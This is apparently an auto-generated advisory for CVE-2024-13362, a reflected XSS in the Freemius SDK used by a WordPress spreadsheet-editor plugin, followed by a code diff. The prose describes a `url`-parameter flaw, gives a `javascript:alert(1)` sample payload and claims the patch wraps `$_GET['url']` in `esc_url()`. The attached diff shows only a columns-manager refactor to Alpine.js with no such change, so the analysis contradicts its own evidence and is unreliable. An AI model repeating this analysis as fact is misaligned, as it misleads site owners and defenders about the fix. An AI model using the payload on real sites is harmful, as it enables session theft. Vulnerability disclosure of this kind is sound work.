Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 8, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.25.16
Patched Version 2.25.19
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362: This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) affecting the Freemius SDK library (<= 2.10.1) used by multiple WordPress plugins and themes. An unauthenticated attacker can inject arbitrary web scripts through the `url` parameter, which are executed in the victim's browser upon clicking a crafted link. The CVSS score is 6.1 (Medium), reflecting the need for user interaction.

The root cause is insufficient input sanitization and output escaping on the `url` parameter within the Freemius SDK’s connect/opt-in flow. The vulnerable code processes user-supplied `url` parameters from GET requests and embeds them into JavaScript or HTML without proper validation or escaping. Specifically, the `_fs_connect_handle_redirect` function or similar callback directly prints the `url` value into the page source, allowing an attacker to break out of the intended context and inject arbitrary HTML/JavaScript. The exact file paths vary by plugin, but the pattern consistently involves the `url` parameter being reflected without sanitization.

An attacker crafts a malicious link containing a `url` parameter with a JavaScript payload, such as `javascript:alert(1)` or a full `data:` URI. The victim must click this link, typically sent via email, social engineering, or embedded on another site. When the victim's browser renders the page from the vulnerable plugin or theme, the injected script executes in the context of the WordPress admin or frontend, depending on the endpoint. The attack requires no authentication and no user interaction beyond clicking the crafted link.

The patch introduces output escaping functions like `esc_url()`, `esc_js()`, or `esc_html()` around the `url` parameter before it is rendered. In code diffs, the before state shows raw `echo $_GET['url']` or similar, while the after state wraps the value in `esc_url($_GET['url'])`. This prevents the injection by encoding or stripping dangerous characters. The patch also may add `wp_verify_nonce()` checks in some implementations, but the primary fix is proper escaping.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser. This can lead to session hijacking, theft of authentication cookies, keylogging, redirection to malicious sites, or defacement. If an administrator triggers the XSS, an attacker could perform actions like creating new admin accounts, modifying plugins, or exfiltrating sensitive data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/columns-visibility/columns-visibility.php
+++ b/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/columns-visibility/columns-visibility.php
@@ -13,7 +13,6 @@
 		static $unfiltered_columns     = array();

 		private function __construct() {
-
 		}

 		/**
@@ -36,7 +35,6 @@
 			add_action( 'wp_ajax_vgse_remove_column', array( $this, 'remove_column' ) );
 			add_action( 'wp_ajax_vgse_restore_columns', array( $this, 'restore_columns' ) );
 			add_filter( 'vg_sheet_editor/columns/blacklisted_columns', array( $this, 'blacklist_removed_columns' ), 10, 2 );
-			add_action( 'wp_ajax_vgse_load_columns_manager_content', array( $this, 'ajax_load_columns_manager_content' ) );
 		}

 		static function get_visibility_options( $post_type = null ) {
@@ -70,7 +68,7 @@
 			}

 			if ( $changed ) {
-				update_option( self::$columns_visibility_key, $options );
+				update_option( self::$columns_visibility_key, $options, false );
 			}
 		}

@@ -99,8 +97,8 @@
 			$old_settings = VGSE()->options;
 			$new_settings = $this->migrate_old_settings_raw( $old_settings );

-			update_option( self::$columns_visibility_key, $new_settings );
-			update_option( self::$columns_visibility_key . '_migrated', 1 );
+			update_option( self::$columns_visibility_key, $new_settings, false );
+			update_option( self::$columns_visibility_key . '_migrated', 1, false );
 		}

 		public function migrate_old_settings_raw( $old_settings ) {
@@ -125,7 +123,7 @@
 			$removed_columns[ $post_type ] = $columns;

 			$removed_columns[ $post_type ] = array_unique( array_filter( $removed_columns[ $post_type ] ) );
-			update_option( $this->removed_columns_key, $removed_columns );
+			update_option( $this->removed_columns_key, $removed_columns, false );
 		}

 		public function get_removed_columns( $post_type ) {
@@ -143,7 +141,7 @@
 		public function blacklist_removed_columns( $blacklisted_columns, $post_type ) {
 			$removed_columns = $this->get_removed_columns( $post_type );
 			foreach ( $removed_columns[ $post_type ] as $removed_column_key ) {
-				$blacklisted_columns[] = '^' . preg_quote($removed_column_key, '/') . '$';
+				$blacklisted_columns[] = '^' . preg_quote( $removed_column_key, '/' ) . '$';
 			}
 			return $blacklisted_columns;
 		}
@@ -261,31 +259,9 @@
 		 */
 		public function enqueue_assets() {
 			wp_enqueue_script( 'wp-sheet-editor-sortable', plugins_url( '/assets/vendor/Sortable/Sortable.min.js', __FILE__ ), array( 'jquery' ), VGSE()->version );
-			wp_enqueue_script( 'wp-sheet-editor-columns-visibility-modal', plugins_url( '/assets/js/init.js', __FILE__ ), array( 'wp-sheet-editor-sortable' ), VGSE()->version );
+			wp_enqueue_script( 'wp-sheet-editor-columns-visibility-modal', plugins_url( '/assets/js/init.js', __FILE__ ), array( 'wp-sheet-editor-sortable' ), filemtime( __DIR__ . '/assets/js/init.js' ) );
 		}

-		public function ajax_load_columns_manager_content() {
-			if ( ! isset( $_GET['is_editor_page'] ) || empty( $_GET['post_type'] ) || ! VGSE()->helpers->verify_nonce_from_request() ) {
-				wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to execute this action.', 'vg_sheet_editor' ) ) );
-			}
-			$post_type = sanitize_text_field( $_GET['post_type'] );
-			if ( ! empty( $_GET['is_editor_page'] ) ) {
-				add_filter( 'vg_sheet_editor/is_editor_page', '__return_true' );
-			}
-			ob_start();
-			$this->render_settings_modal( $post_type );
-			$html = ob_get_clean();
-
-			wp_send_json_success( array( 'html' => $html ) );
-		}
-		/**
-		 * Render modal html
-		 * @param str $post_type
-		 */
-		public function render_lazy_settings_modal( $post_type ) {
-			$random_id = rand();
-			include __DIR__ . '/views/lazy-form.php';
-		}
 		public function render_settings_modal( $post_type, $partial_form = false, $options = null, $current_url = null, $visible_columns = null ) {
 			$nonce     = wp_create_nonce( 'bep-nonce' );
 			$random_id = rand();
@@ -330,13 +306,68 @@
 			// might not appear in the enabled nor disabled lists. Force them to appear at least as disabled.
 			foreach ( $filtered_columns as $column_key => $column_settings ) {
 				if ( ! isset( $visible_columns[ $column_key ] ) ) {
-					$options[ $post_type ]['disabled'][ $column_key ] = $column_settings;
+					$options[ $post_type ]['disabled'][ $column_key ] = $column_settings['title'];
+				}
+			}
+			$default_column_data = array(
+				'title'  => '',
+				'status' => 'enabled',
+				'key'    => '',
+			);
+			$prepared_columns    = array();
+
+			$index = 0;
+			foreach ( $visible_columns as $column_key => $column ) {
+				if ( is_numeric( $column_key ) || in_array( $column_key, $not_allowed_columns ) || ( isset( $options[ $post_type ]['disabled'] ) && isset( $options[ $post_type ]['disabled'][ $column_key ] ) ) || ! isset( $column['title'] ) ) {
+					unset( $visible_columns[ $column_key ] );
+					continue;
 				}
+				$prepared_columns[ $column_key ] = array(
+					'title'               => $column['title'],
+					'status'              => 'enabled',
+					'key'                 => $column_key,
+					'order'               => $index,
+					'allow_custom_format' => $column['allow_custom_format'],
+					'allow_readonly_option_in_columns_manager' => $column['allow_readonly_option_in_columns_manager'],
+					'allow_role_restrictions_in_columns_manager' => $column['allow_role_restrictions_in_columns_manager'],
+				);
+				++$index;
 			}

-			$editor = VGSE()->helpers->get_provider_editor( $post_type );
+			$editor            = VGSE()->helpers->get_provider_editor( $post_type );
+			$post_type_options = $options[ $post_type ];
+
+			$index = 0;
+			foreach ( $post_type_options['disabled'] as $column_key => $column_title ) {
+
+				if ( is_numeric( $column_key ) || in_array( $column_key, $not_allowed_columns, true ) ) {
+					unset( $post_type_options['disabled'][ $column_key ] );
+					continue;
+
+				}
+				$skip_blacklist = isset( $columns[ $column_key ] ) && ! empty( $columns[ $column_key ]['skip_blacklist'] );
+				if ( ! $skip_blacklist && is_object( $editor->args['columns'] ) && $editor->args['columns']->is_column_blacklisted( $column_key, $post_type ) ) {
+					unset( $post_type_options['disabled'][ $column_key ] );
+					continue;
+				}

-			include __DIR__ . '/views/form.php';
+				if ( ! isset( $prepared_columns[ $column_key ] ) ) {
+					$prepared_columns[ $column_key ] = array(
+						'title'  => isset( $columns[ $column_key ] ) ? $columns[ $column_key ]['title'] : $column_title,
+						'status' => 'disabled',
+						'key'    => $column_key,
+						'order'  => $index,
+					);
+					++$index;
+				}
+			}
+			?>
+			<script>
+			var vgseColumnsManager =
+				<?php echo wp_json_encode( apply_filters( 'vg_sheet_editor/columns_visibility/js/columns_manager', compact( 'nonce', 'prepared_columns', 'not_allowed_columns', 'default_column_data' ), $post_type ) ); ?>;
+			</script>
+			<?php
+			require_once __DIR__ . '/views/form.php';
 		}

 		/**
@@ -349,16 +380,14 @@
 			$post_types = $editor->args['enabled_post_types'];
 			foreach ( $post_types as $post_type ) {
 				$editor->args['toolbars']->register_item(
-					'visibility_settings',
+					'columns_manager',
 					array(
 						'type'                  => 'button',
 						'allow_in_frontend'     => false,
-						'content'               => __( 'Hide / Display / Sort columns', 'vg_sheet_editor' ),
-						'icon'                  => 'fa fa-sort',
+						'content'               => __( 'Columns manager', 'vg_sheet_editor' ),
 						'toolbar_key'           => 'secondary',
 						'extra_html_attributes' => 'data-remodal-target="modal-columns-visibility"',
-						'parent'                => 'settings',
-						'footer_callback'       => array( $this, 'render_lazy_settings_modal' ),
+						'footer_callback'       => array( $this, 'render_settings_modal' ),
 					),
 					$post_type
 				);
@@ -375,7 +404,7 @@
 				return $columns;
 			}
 			// Filter by required capabilities before they're added to the $unfiltered_columns
-			if( method_exists('WP_Sheet_Editor_Columns', '_filter_by_require_capabilities')){
+			if ( method_exists( 'WP_Sheet_Editor_Columns', '_filter_by_require_capabilities' ) ) {
 				$columns = WP_Sheet_Editor_Columns::_filter_by_require_capabilities( $columns );
 			}
 			self::$unfiltered_columns = array_merge( $columns, self::$unfiltered_columns );
--- a/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/columns-visibility/views/form.php
+++ b/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages/modules/columns-visibility/views/form.php
@@ -1,186 +1,202 @@
 <?php defined( 'ABSPATH' ) || exit; ?>

-<div data-remodal-id="modal-columns-visibility" data-remodal-options="closeOnOutsideClick: false" class="remodal remodal<?php echo esc_attr($random_id); ?> modal-columns-visibility">
+<div data-remodal-id="modal-columns-visibility" data-remodal-options="closeOnOutsideClick: false" class="remodal remodal<?php echo esc_attr( $random_id ); ?> modal-columns-visibility" x-data="vgseColumnsManager">

 	<div class="modal-content">
-		<?php if (!$partial_form) { ?>
-			<form action="<?php echo esc_url(admin_url('admin-ajax.php')); ?>" method="POST" class="vgse-modal-form" data-nonce="<?php echo wp_create_nonce('bep-nonce'); ?>" id="columns-manager-form">
+		<?php if ( ! $partial_form ) { ?>
+		<form action="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>" method="POST" class="vgse-modal-form"
+			data-nonce="<?php echo wp_create_nonce( 'bep-nonce' ); ?>" id="columns-manager-form" @submit.prevent="submitForm">
 			<?php } ?>
-			<h3><?php _e('Columns manager', 'vg_sheet_editor' ); ?></h3>
+			<h3><?php _e( 'Columns manager', 'vg_sheet_editor' ); ?></h3>
 			<ul class="unstyled-list">
 				<li>
-					<p><?php _e('Drag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).', 'vg_sheet_editor' ); ?><?php do_action('vg_sheet_editor/columns_visibility/after_instructions', $post_type, $visible_columns, $options[$post_type], $editor); ?></p>
-
-					<!--These options were replaced with the "bulk actions" added to each list-->
-					<!--<button class="button vgse-change-all-states" data-to="enabled"><?php _e('Enable all', 'vg_sheet_editor' ); ?></button> --->
-					<!--<button class="button vgse-change-all-states" data-to="disabled"><?php _e('Disable all', 'vg_sheet_editor' ); ?></button>-->
-
+					<p><?php _e( 'Drag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).', 'vg_sheet_editor' ); ?><?php do_action( 'vg_sheet_editor/columns_visibility/after_instructions', $post_type, $visible_columns, $options[ $post_type ], $editor ); ?>
+					</p>
 				</li>
 				<li>
 					<div class="vgse-sorter-section">

-						<h3><?php _e('Enabled', 'vg_sheet_editor' ); ?> <button type="button" class="toggle-search-button"><i class="fa fa-edit"></i> <?php _e('Bulk', 'vg_sheet_editor' ); ?></button></h3>
-						<div class="wpse-columns-bulk-actions">
-							<input type="search" class="wpse-filter-list" placeholder="<?php _e('Enter a search term...', 'vg_sheet_editor' ); ?>">
-							<select class="wpse-bulk-action">
-								<option value=""><?php _e('Bulk actions', 'vg_sheet_editor' ); ?></option>
-								<option value="disable"><?php _e('Disable all', 'vg_sheet_editor' ); ?></option>
-								<option value="sort_alphabetically_asc"><?php _e('Sort alphabetically ASC', 'vg_sheet_editor' ); ?></option>
-								<option value="sort_alphabetically_desc"><?php _e('Sort alphabetically DESC', 'vg_sheet_editor' ); ?></option>
+						<h3><?php _e( 'Enabled', 'vg_sheet_editor' ); ?> <button @click.prevent="showBulkActions = !showBulkActions; bulkToggleClicked = 'enabled'" type="button"
+
+								class="toggle-search-button"><i class="fa fa-edit"></i>
+								<?php _e( 'Bulk', 'vg_sheet_editor' ); ?></button></h3>
+								<template  x-if="showBulkActions">
+						<div class="wpse-columns-bulk-actions" x-init="if(bulkToggleClicked == 'enabled') { $refs.enabledSearchInput.focus()}">
+							<input x-model="enabledSearchTerm" x-ref="enabledSearchInput" type="search" class="wpse-filter-list"
+								placeholder="<?php _e( 'Enter a search term...', 'vg_sheet_editor' ); ?>">
+							<select class="wpse-bulk-action" x-model="enabledBulkAction" @change="handleBulkAction('enabled')">
+								<option value=""><?php _e( 'Bulk actions', 'vg_sheet_editor' ); ?></option>
+								<option value="disable"><?php _e( 'Disable all', 'vg_sheet_editor' ); ?></option>
+								<option value="sort_alphabetically_asc">
+									<?php _e( 'Sort alphabetically ASC', 'vg_sheet_editor' ); ?></option>
+								<option value="sort_alphabetically_desc">
+									<?php _e( 'Sort alphabetically DESC', 'vg_sheet_editor' ); ?></option>
 							</select>
+							<a href="#" data-wpse-tooltip="right"
+								aria-label="<?php esc_attr_e( 'Select "Disable all" to disable all the columns from the list', 'vg_sheet_editor' ); ?>">(?)</a>
 						</div>
+						</template>


 						<ul class="vgse-sorter columns-enabled" id="vgse-columns-enabled">
-							<?php
-							foreach ($visible_columns as $column_key => $column) {
-								if (is_numeric($column_key)) {
-									continue;
-								}
-								if (in_array($column_key, $not_allowed_columns)) {
-									continue;
-								}
-								if (isset($options[$post_type]['disabled']) && isset($options[$post_type]['disabled'][$column_key])) {
-									continue;
-								}
-								if (!isset($column['title'])) {
-									continue;
-								}
-								$title = $column['title'];
-								?>
-								<li><span class="handle">::</span> <span class="column-title" title="<?php echo esc_attr($title); ?>"><?php echo esc_html($title); ?></span>
-									<input type="hidden" name="columns[]" class="js-column-key" value="<?php echo esc_attr($column_key); ?>" />
-									<input type="hidden" name="columns_names[]" class="js-column-title" value="<?php echo esc_attr($title); ?>" />
-
-									<?php if( wp_doing_ajax()){ ?>
-									<!-- Insert extra buttons here with JS -->
-									<?php } else { ?>
-									<?php if (VGSE()->helpers->user_can_manage_options()) { ?>
-										<button class="remove-column column-action" title="<?php echo esc_attr(__('Remove column completely. If you want to use it later you can disable it by dragging and dropping to the right column', 'vg_sheet_editor' )); ?>"><i class="fa fa-remove"></i></button>
-									<?php } ?>
-									<button class="deactivate-column column-action" title="<?php echo esc_attr(__('Disable column. You can enable it later.', 'vg_sheet_editor' )); ?>"><i class="fa fa-arrow-right"></i></button>
-									<button class="enable-column column-action" title="<?php echo esc_attr(__('Enable column', 'vg_sheet_editor' )); ?>"><i class="fa fa-arrow-left"></i></button>
-									<?php } ?>
-									<?php do_action('vg_sheet_editor/columns_visibility/enabled/after_column_action', $column, $post_type); ?>
+							<!-- Must use the key with random id to be able to use the sortable() function, otherwise Alpine will reuse DOM elements and lose track of the order -->
+							<template x-for="column in getFilteredEnabledColumns()" :key="column.key + Date.now()">
+								<li><span class="handle">::</span> <span class="column-title" :title="column.title"
+										x-text="column.title"></span>
+										<template x-if="vgse_editor_settings && !vgse_editor_settings.columnsFormat[column.key]">
+											<i class="fa fa-refresh" data-wpse-tooltip="right"
+										aria-label="cm_requires_reload"></i>
+										</template>
+									<input type="hidden" name="columns[]" class="js-column-key" :value="column.key" />
+									<input type="hidden" name="columns_names[]" class="js-column-title"
+										:value="column.title" />
+
+									<button class="deactivate-column column-action"
+										title="<?php echo esc_attr( __( 'Disable column. You can enable it later.', 'vg_sheet_editor' ) ); ?>" @click.prevent="deactivateColumn(column.key)"><i
+											class="fa fa-arrow-right"></i></button>
+									<?php do_action( 'vg_sheet_editor/columns_visibility/enabled/after_column_action_alpine', $post_type ); ?>
+									<div class="clear"></div>
 								</li>
-							<?php }
-							?>
+							</template>
 						</ul>
 					</div>
 					<div class="vgse-sorter-section">
-						<h3><?php _e('Disabled', 'vg_sheet_editor' ); ?> <button type="button" class="toggle-search-button"><i class="fa fa-edit"></i> <?php _e('Bulk', 'vg_sheet_editor' ); ?></button></h3>
-
-						<div class="wpse-columns-bulk-actions">
-							<input type="search" class="wpse-filter-list" placeholder="<?php _e('Enter a search term...', 'vg_sheet_editor' ); ?>">
-							<select class="wpse-bulk-action">
-								<option value=""><?php _e('Bulk actions', 'vg_sheet_editor' ); ?></option>
-								<option value="enable"><?php _e('Enable all', 'vg_sheet_editor' ); ?></option>
-								<option value="delete"><?php _e('Delete all', 'vg_sheet_editor' ); ?></option>
-								<option value="sort_alphabetically_asc"><?php _e('Sort alphabetically ASC', 'vg_sheet_editor' ); ?></option>
-								<option value="sort_alphabetically_desc"><?php _e('Sort alphabetically DESC', 'vg_sheet_editor' ); ?></option>
+						<h3><?php _e( 'Disabled', 'vg_sheet_editor' ); ?> <button @click.prevent="showBulkActions = !showBulkActions; bulkToggleClicked = 'disabled'" type="button"
+								class="toggle-search-button"><i class="fa fa-edit"></i>
+								<?php _e( 'Bulk', 'vg_sheet_editor' ); ?></button></h3>
+
+								<template  x-if="showBulkActions">
+						<div class="wpse-columns-bulk-actions" x-init="if(bulkToggleClicked == 'disabled') { $refs.disabledSearchInput.focus() }">
+							<input x-model="disabledSearchTerm" x-ref="disabledSearchInput" type="search" class="wpse-filter-list"
+								placeholder="<?php _e( 'Enter a search term...', 'vg_sheet_editor' ); ?>">
+							<select class="wpse-bulk-action" x-model="disabledBulkAction" @change="handleBulkAction('disabled')">
+								<option value=""><?php _e( 'Bulk actions', 'vg_sheet_editor' ); ?></option>
+								<option value="enable"><?php _e( 'Enable all', 'vg_sheet_editor' ); ?></option>
+								<option value="delete"><?php _e( 'Hide all', 'vg_sheet_editor' ); ?></option>
+								<option value="sort_alphabetically_asc">
+									<?php _e( 'Sort alphabetically ASC', 'vg_sheet_editor' ); ?></option>
+								<option value="sort_alphabetically_desc">
+									<?php _e( 'Sort alphabetically DESC', 'vg_sheet_editor' ); ?></option>
 							</select>
+							<a href="#" data-wpse-tooltip="right"
+								aria-label="<?php esc_attr_e( 'Select "Enable all" to enable all the columns from the list, "Hide all" to blacklist the columns and stop showing them', 'vg_sheet_editor' ); ?>">(?)</a>
 						</div>
-						<ul class="vgse-sorter columns-disabled" id="vgse-columns-disabled"><?php
-							if (isset($options[$post_type]['disabled'])) {
-								foreach ($options[$post_type]['disabled'] as $column_key => $column_title) {
-									if (is_numeric($column_key)) {
-										continue;
-									}
-									if (in_array($column_key, $not_allowed_columns)) {
-										continue;
-									}
-									$skip_blacklist = isset($columns[$column_key]) && !empty( $columns[$column_key]['skip_blacklist']);
-									if (is_object($editor->args['columns']) && $editor->args['columns']->is_column_blacklisted($column_key, $post_type) && !$skip_blacklist ) {
-										continue;
-									}
-									if (isset($columns[$column_key])) {
-										$column_title = $columns[$column_key]['title'];
-									}
-									?>
-									<li><span class="handle">::</span> <span class="column-title" title="<?php echo esc_attr($column_title); ?>"><?php echo esc_html($column_title); ?></span>  <i class="fa fa-refresh"  data-wpse-tooltip="right" aria-label="cm_requires_reload"></i>
-										<input type="hidden" name="disallowed_columns[]" class="js-column-key" value="<?php echo esc_attr($column_key); ?>" />
-										<input type="hidden" name="disallowed_columns_names[]" class="js-column-title" value="<?php echo esc_attr($column_title); ?>" />
+								</template>
+						<ul class="vgse-sorter columns-disabled" id="vgse-columns-disabled">
+							<template x-for="column in getFilteredDisabledColumns()" :key="column.key + Date.now()">
+								<li>
+									<span class="handle">::</span> <span class="column-title" :title="column.title"
+										x-text="column.title"></span>

-
-									<?php if( wp_doing_ajax()){ ?>
-									<!-- Insert extra buttons here with JS -->
-									<?php } else { ?>
-									<?php if (VGSE()->helpers->user_can_manage_options()) { ?>
-										<button class="remove-column column-action" title="<?php echo esc_attr(__('Remove column completely. If you want to use it later you can disable it by dragging and dropping to the right column', 'vg_sheet_editor' )); ?>"><i class="fa fa-remove"></i></button>
-									<?php } ?>
-									<button class="deactivate-column column-action" title="<?php echo esc_attr(__('Disable column. You can enable it later.', 'vg_sheet_editor' )); ?>"><i class="fa fa-arrow-right"></i></button>
-									<button class="enable-column column-action" title="<?php echo esc_attr(__('Enable column', 'vg_sheet_editor' )); ?>"><i class="fa fa-arrow-left"></i></button>
+										<template x-if="vgse_editor_settings && !vgse_editor_settings.columnsFormat[column.key]">
+											<i class="fa fa-refresh" data-wpse-tooltip="right"
+										aria-label="cm_requires_reload"></i>
+										</template>
+									<input type="hidden" name="disallowed_columns[]" class="js-column-key"
+										:value="column.key" />
+									<input type="hidden" name="disallowed_columns_names[]" class="js-column-title"
+										:value="column.title" />
+
+									<?php if ( VGSE()->helpers->user_can_manage_options() ) { ?>
+									<button type="button" class="remove-column column-action"
+										title="<?php echo esc_attr( __( 'The column values will remain in the database, this only excludes/hides the column from the list.', 'vg_sheet_editor' ) ); ?>" @click.prevent="deleteColumn(column.key)"><i
+											class="fa fa-remove"></i></button>
 									<?php } ?>
-									<?php do_action('vg_sheet_editor/columns_visibility/disabled/after_column_action', $column, $post_type); ?>
-									</li>
-									<?php
-								}
-							}
-							?></ul>
+									<button class="enable-column column-action"
+										title="<?php echo esc_attr( __( 'Enable column', 'vg_sheet_editor' ) ); ?>" @click.prevent="enableColumn(column.key)"><i
+											class="fa fa-arrow-left"></i></button>
+									<?php do_action( 'vg_sheet_editor/columns_visibility/disabled/after_column_action_alpine', $post_type ); ?>
+									<div class="clear"></div>
+								</li>
+							</template>
+						</ul>
 					</div>
 					<div class="clear"></div>
 				</li>
-				<?php if (is_admin() && VGSE()->helpers->user_can_manage_options()) { ?>
-					<li class="missing-column-tips">
-						<h3><?php _e('A column is missing?', 'vg_sheet_editor' ); ?></h3>
+				<?php if ( is_admin() && VGSE()->helpers->user_can_manage_options() ) { ?>
+				<li class="missing-column-tips" x-data="{showMissingColumnTips: false}">
+					<p><?php _e( 'A column is missing?', 'vg_sheet_editor' ); ?> <a href="#"
+							@click.prevent="showMissingColumnTips = !showMissingColumnTips"><?php _e( 'Read more', 'vg_sheet_editor' ); ?></a>
+				</p>
+
+					<template x-if="showMissingColumnTips">
 						<ul>
-							<li><?php _e('- First, edit one item in the normal editor and fill all the fields manually.', 'vg_sheet_editor' ); ?></li>
+							<li><?php _e( '- First, edit one item in the normal editor and fill all the fields manually.', 'vg_sheet_editor' ); ?>
+							</li>
 							<?php
-							if (empty($options[$post_type]['enabled'])) {
-								$options[$post_type]['enabled'] = array();
+							if ( empty( $options[ $post_type ]['enabled'] ) ) {
+								$options[ $post_type ]['enabled'] = array();
 							}
-							if (empty($options[$post_type]['disabled'])) {
-								$options[$post_type]['disabled'] = array();
+							if ( empty( $options[ $post_type ]['disabled'] ) ) {
+								$options[ $post_type ]['disabled'] = array();
 							}
 							?>
-							<li><?php _e('- We can scan the database, find new fields, and create columns automatically', 'vg_sheet_editor' ); ?> <a class="wpse-scan-db-link" href="<?php
-								if( wp_doing_ajax() ){
-									$rescan_url = add_query_arg(array('wpse_rescan_db_fields' => $post_type), wp_get_referer());
-								} else {
-									$rescan_url = ( $current_url ) ? add_query_arg(array('wpse_rescan_db_fields' => $post_type), $current_url) : add_query_arg(array('wpse_rescan_db_fields' => $post_type));
-								}
-								echo esc_url($rescan_url);
-								?>"  data-wpse-tooltip="right" aria-label="<?php esc_attr_e('You can do this multiple times', 'vg_sheet_editor' ); ?>"><?php _e('Scan Now', 'vg_sheet_editor' ); ?></a></li>
+							<li><?php _e( '- We can scan the database, find new fields, and create columns automatically', 'vg_sheet_editor' ); ?>
+								<a class="wpse-scan-db-link" href="
+																																		<?php
+																																		if ( wp_doing_ajax() ) {
+																																			$rescan_url = add_query_arg( array( 'wpse_rescan_db_fields' => $post_type ), wp_get_referer() );
+																																		} else {
+																																			$rescan_url = ( $current_url ) ? add_query_arg( array( 'wpse_rescan_db_fields' => $post_type ), $current_url ) : add_query_arg( array( 'wpse_rescan_db_fields' => $post_type ) );
+																																		}
+																																		echo esc_url( $rescan_url );
+																																		?>
+											" data-wpse-tooltip="right"
+									aria-label="<?php esc_attr_e( 'You can do this multiple times', 'vg_sheet_editor' ); ?>"><?php _e( 'Scan Now', 'vg_sheet_editor' ); ?></a>
+							</li>

-							<?php
-							if (class_exists('WP_Sheet_Editor_Custom_Columns') && VGSE()->helpers->is_editor_page()) {
+							<?php
+							if ( class_exists( 'WP_Sheet_Editor_Custom_Columns' ) && VGSE()->helpers->is_editor_page() ) {
 								?>
-								<li><?php _e('- If the previous solution failed, you can create new columns manually.', 'vg_sheet_editor' ); ?> <a class="" href="<?php echo esc_url(admin_url('admin.php?page=vg_sheet_editor_custom_columns')); ?>"><?php _e('Create column', 'vg_sheet_editor' ); ?></a></li>
+							<li><?php _e( '- If the previous solution failed, you can create new columns manually.', 'vg_sheet_editor' ); ?>
+								<a class=""
+									href="<?php echo esc_url( admin_url( 'admin.php?page=vg_sheet_editor_custom_columns' ) ); ?>"><?php _e( 'Create column', 'vg_sheet_editor' ); ?></a>
+							</li>
 							<?php } ?>
-							<li><?php _e('- Maybe you deleted the columns from the list.', 'vg_sheet_editor' ); ?> <a class="vgse-restore-removed-columns" href="javascript:void(0)"><?php _e('Restore deleted columns', 'vg_sheet_editor' ); ?></a></li>
-							<li><?php _e('- We can help you.', 'vg_sheet_editor' ); ?> <a class="" target="_blank" href="<?php echo esc_url(VGSE()->get_support_links('contact_us', 'url', 'sheet-missing-column')); ?>"><?php _e('Contact us', 'vg_sheet_editor' ); ?></a></li>
+							<li><?php _e( '- Maybe you deleted the columns from the list.', 'vg_sheet_editor' ); ?> <a
+									class="vgse-restore-removed-columns"
+									href="#" @click.prevent="restoreDeletedColumns"><?php _e( 'Restore deleted columns', 'vg_sheet_editor' ); ?></a>
+							</li>
+							<li><?php _e( '- We can help you.', 'vg_sheet_editor' ); ?> <a class="" target="_blank"
+									href="<?php echo esc_url( VGSE()->get_support_links( 'contact_us', 'url', 'sheet-missing-column' ) ); ?>"><?php _e( 'Contact us', 'vg_sheet_editor' ); ?></a>
+							</li>
 						</ul>
-						</p>
-					</li>
+					</template>
+				</li>
 				<?php } ?>
 				<li class="vgse-allow-save-settings">
-					<label><input type="checkbox" value="yes" name="save_post_type_settings" class="save_post_type_settings" /> <?php _e('Save these settings for future sessions?', 'vg_sheet_editor' ); ?> <a href="#" data-wpse-tooltip="right" aria-label="If you enable this option, we will use these settings the next time you load the editor for this post type.">( ? )</a></label>
+					<label><input type="checkbox" value="yes" x-model="saveChangesInServer" />
+						<?php _e( 'Save these settings for future sessions?', 'vg_sheet_editor' ); ?> <a href="#"
+							data-wpse-tooltip="right"
+							aria-label="If you enable this option, we will use these settings the next time you load the editor for this post type.">(
+							? )</a></label>

 				</li>

-				<?php do_action('vg_sheet_editor/columns_visibility/after_fields', $post_type); ?>
+				<?php do_action( 'vg_sheet_editor/columns_visibility/after_fields', $post_type ); ?>

 				<li class="vgse-save-settings">
-					<?php if (!$partial_form) { ?>
-						<button type="submit" class="remodal-confirm"><?php _e('Apply settings', 'vg_sheet_editor' ); ?></button>
-						<button data-remodal-action="confirm" class="remodal-cancel"><?php _e('Close', 'vg_sheet_editor' ); ?></button>
+					<?php if ( ! $partial_form ) { ?>
+					<button type="submit"
+						class="remodal-confirm"><?php _e( 'Apply settings', 'vg_sheet_editor' ); ?></button>
+					<button data-remodal-action="confirm"
+						class="remodal-cancel"><?php _e( 'Close', 'vg_sheet_editor' ); ?></button>
 					<?php } ?>
 				</li>
 			</ul>
-			<input type="hidden" value="<?php echo esc_attr(implode(',', $not_allowed_columns)); ?>" class="not-allowed-columns" name="vgse_columns_disabled_all_keys">
-			<input type="hidden" value="" class="all-allowed-columns" name="vgse_columns_enabled_all_keys">
-			<?php if (!$partial_form) { ?>
-				<input type="hidden" value="vgse_update_columns_visibility" name="action">
-				<input type="hidden" value="<?php echo esc_attr($nonce); ?>" name="nonce">
-				<input type="hidden" value="<?php echo esc_attr($post_type); ?>" name="post_type">
+			<input type="hidden" value="yes" name="vgse_columns_manager_form">
+			<?php if ( ! $partial_form ) { ?>
+			<input type="hidden" value="vgse_update_columns_visibility" name="action">
+			<input type="hidden" value="<?php echo esc_attr( $nonce ); ?>" name="nonce">
+			<input type="hidden" value="<?php echo esc_attr( $post_type ); ?>" name="post_type">
 			<?php } ?>
-			<input type="hidden" value="<?php echo esc_attr($post_type); ?>" name="wpsecv_post_type">
-			<input type="hidden" value="<?php echo esc_attr($nonce); ?>" name="wpsecv_nonce">
+			<input type="hidden" value="<?php echo esc_attr( $post_type ); ?>" name="wpsecv_post_type">
+			<input type="hidden" value="<?php echo esc_attr( $nonce ); ?>" name="wpsecv_nonce">
 			<input type="hidden" value="" name="wpse_auto_reload_after_saving">

-			<?php if (!$partial_form) { ?>
-			</form>
+			<?php if ( ! $partial_form ) { ?>
+		</form>
